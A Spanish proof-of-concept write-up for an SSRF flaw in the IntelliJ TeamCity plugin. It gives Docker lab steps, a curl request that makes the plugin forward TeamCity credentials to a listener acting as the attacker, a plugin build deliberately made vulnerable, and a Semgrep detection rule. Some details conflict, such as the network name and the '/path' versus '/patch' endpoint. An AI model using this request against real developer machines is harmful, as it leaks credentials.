
Exploit de prueba de concepto para CVE-2020-35667, una vulnerabilidad SSRF en el plugin de IntelliJ IDEA TeamCity que conduce a una fuga de credenciales a través de un parámetro URL no validado.
AVISO El comportamiento vulnerable ilustrado a continuación fue verificado empíricamente a partir de artefactos descompilados y parcheados, que intentan asemejarse a la vulnerabilidad original inferida con un enfoque heurístico, dado que la versión original vulnerable del plugin ya no está disponible. El repositorio contiene un zip con una compilación mínimamente editada (derivada de la versión parcheada) utilizada para reproducción aislada en laboratorio.
Este CVE se refiere al plugin de integración de IntelliJ IDEA con TeamCity, que permite la integración del IDE con TeamCity, un orquestador y archivo de CI/CD que almacena configuraciones de compilación y otros artefactos, expuestos a través de APIs REST/RPC.
El plugin abre localmente unos pocos endpoints HTTP, que en un escenario común son invocados por los componentes que el plugin ha añadido a la GUI. En la configuración observada, este servidor local no implementa ninguna capa de control de acceso y actúa de facto como middleware entre el IDE y el servidor de TeamCity.
El manejador de solicitudes del lado del servidor del plugin acepta un parámetro controlado por el usuario en la URL y lo utiliza para construir una URL de descarga de parches sin la validación suficiente (CWE-918). El plugin entonces emite un HTTP GET a la URL construida, portando los encabezados de autenticación del usuario conectado, con las credenciales de TeamCity, ya que TeamCity expone APIs REST/RPC. Suponiendo que el atacante pueda alcanzar el host del desarrollador (por ejemplo, mediante phishing o XSS), puede ejecutar un ataque SSRF (CAPEC-6634), forzando al plugin a realizar una solicitud a un host controlado por el atacante, que está escuchando en el endpoint codificado en el parámetro controlado por el usuario, lo que lleva a la fuga de credenciales. Esto establece el contexto para, por ejemplo, un punto de apoyo o movimiento lateral.
Connection.run() → Connection.doHandle()
obtiene la URI de solicitud y los parámetros, analizados en el mapa params (incluyendo el parámetro file)ActivatorBase.handle(res, params, ...) — res == "/patch" desencadena handleLoadPatch(params)handleLoadPatch programa trabajo y eventualmente llama a UrlUtil.createUrl(params, serverUrl) — este es el componente que he modificado para que sea vulnerable; el valor de file se inserta como esquema/dirección/ruta de la URL sin validación, otros parámetros se añadenActivatorBase.downloadPatch(patchUrl, username, password) crea un HttpClient con UsernamePasswordCredentials y llama a client.executeMethod(get), la solicitud de red real se emite a patchUrlMi configuración: TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, host: ARM64 Kali Linux 2025.3. Todos los contenedores en red aislada.
(opcional) crear una red docker aislada
docker network create tc-nec
Descargar e iniciar IntelliJ IDEA, crear un proyecto efímero de cualquier tipo. Cargar la extensión proporcionada como archivo zip
Construir e iniciar el contenedor del servidor TeamCity: los artefactos relevantes se proporcionan en la carpeta tc-server. Acceder al panel de TeamCity y crear un entorno efímero de TeamCity y un usuario
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
Construir e iniciar el sumidero HTTP malicioso: los artefactos relevantes se proporcionan en la carpeta http-listener
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(opcional) habilitar el registro del plugin con severidad trace para un análisis granular de la ejecución: GUI del IDE → buscar configuración de registro de depuración → añadir fila #jetbrains.buildServer.activation → reiniciar IDE
Conectarse al servidor local de TeamCity: Settings → Tools → TeamCity → Add Server y apuntar a http://127.0.0.1:8111, iniciar sesión con el usuario creado
enviar la siguiente solicitud
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
El servidor sumidero registró la solicitud HTTP del plugin
docker exec lab-sink "cat sink.log"
En primer lugar, me gustaría sugerir desplazar la seguridad hacia la izquierda en el SDLC, mediante la especificación de requisitos de seguridad cuantificables e implementables, tomando como guía los requisitos OWASP ASVS, bifurcándolos y adoptando solo aquellos relacionados con el código relevantes para los requisitos de la aplicación. Los especialistas en seguridad de aplicaciones deberían mapear estos requisitos a componentes de código específicos o incluso a fragmentos individuales. Los desarrolladores deberían ser capacitados para saber cómo implementar estos requisitos de seguridad: conocer los mecanismos de seguridad integrados de su lenguaje/framework. Juntos deberían trabajar en una matriz que asigne cada requisito al paquete, clase o función propietaria y enumerar las comprobaciones de aceptación relevantes (pruebas unitarias, reglas SAST). Esto aseguraría el cumplimiento del código base con el conjunto ASVS bifurcado.
Se deben integrar múltiples puertas de revisión de seguridad a lo largo de todo el pipeline de entrega. Desde directamente en la máquina del desarrollador a través de un plugin del IDE y hooks de pre-commit, hasta escaneos completos en el pipeline de CI y DAST basado en fuzzing en entornos personalizados (despliegue continuo). Ante cualquier error, la compilación/entrega debe fallar. Los datos resultantes de estos escaneos deben agregarse constantemente, revisarse para refinar el proceso y eliminar falsos positivos/negativos verdaderos.
Esta es una regla de ejemplo de Semgrep para detectar construcción de URL sin sanitización de parámetros controlados por el usuario, en Java con la biblioteca http-client utilizada en el plugin
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]